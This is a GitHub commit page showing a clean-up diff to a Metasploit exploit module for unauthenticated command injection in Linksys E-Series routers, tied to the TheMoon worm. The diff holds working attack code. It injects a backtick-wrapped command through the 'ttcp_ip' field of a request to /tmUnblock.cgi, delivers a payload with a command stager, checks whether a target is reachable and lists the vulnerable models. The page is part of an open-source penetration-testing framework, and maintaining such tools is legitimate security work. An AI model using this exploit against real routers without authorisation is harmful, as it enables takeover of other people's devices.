Skip to content

Commit 0ae7586

Browse files
committed
Code clean up
1 parent 4319885 commit 0ae7586

File tree

1 file changed

+25
-22
lines changed

1 file changed

+25
-22
lines changed

modules/exploits/linux/http/linksys_themoon_exec.rb

Lines changed: 25 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -15,14 +15,11 @@ def initialize(info = {})
1515
super(update_info(info,
1616
'Name' => 'Linksys E-Series TheMoon Remote Command Injection',
1717
'Description' => %q{
18-
Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command
19-
injection. Since it is a blind os command injection vulnerability, there is no
20-
output for the executed command when using the cmd generic payload. A ping
21-
command against a controlled system could be used for testing purposes. This
22-
vulnerability was used from the so called "TheMoon" worm. There are many Systems
23-
that might be vulnerable:
24-
E4200, E3200, E3000, E2500, E2100L, E2000, E1550, E1500, E1200, E1000, E900. This
25-
module was tested against a E1500 v1.0.5.
18+
Some Linksys E-Series Routers are vulnerable to an unauthenticated OS command
19+
injection. This vulnerability was used from the so called "TheMoon" worm. There
20+
are many Linksys systems that might be vulnerable including E4200, E3200, E3000,
21+
E2500, E2100L, E2000, E1550, E1500, E1200, E1000, E900. This module was tested
22+
successfully against an E1500 v1.0.5.
2623
},
2724
'Author' =>
2825
[
@@ -86,33 +83,39 @@ def execute_command(cmd, opts)
8683
"ttcp_ip" => "-h `#{cmd}`",
8784
"StartEPI" => "1"
8885
}
89-
})
86+
}, 2)
9087
return res
9188
rescue ::Rex::ConnectionError
92-
vprint_error("#{peer} - Failed to connect to the web server")
93-
return nil
89+
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
9490
end
9591
end
9692

97-
def exploit
98-
print_status("#{peer} - Trying to access the vulnerable url")
93+
def check
9994
begin
10095
res = send_request_cgi({
10196
'uri' => '/tmUnblock.cgi',
102-
'method' => 'GET',
97+
'method' => 'GET'
10398
})
104-
if res.nil? or res.code == 404
105-
fail_with(Failure::NoAccess, "#{peer} - Access to the vulnerable URL is not possible")
106-
end
107-
if [200, 301, 302].include?(res.code)
108-
print_good("#{peer} - Successfully accessed the vulnerable url")
109-
else
110-
fail_with(Failure::NoAccess, "#{peer} - Access to the vulnerable URL is not possible")
99+
100+
if res && [200, 301, 302].include?(res.code)
101+
return Exploit::CheckCode::Detected
111102
end
112103
rescue ::Rex::ConnectionError
113-
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
104+
return Exploit::CheckCode::Unknown
114105
end
115106

107+
Exploit::CheckCode::Unknown
108+
end
109+
110+
def exploit
111+
print_status("#{peer} - Trying to access the vulnerable URL...")
112+
113+
unless check == Exploit::CheckCode::Detected
114+
fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable URL")
115+
end
116+
117+
print_status("#{peer} - Exploiting...")
116118
execute_cmdstager
117119
end
120+
118121
end

0 commit comments

Comments
 (0)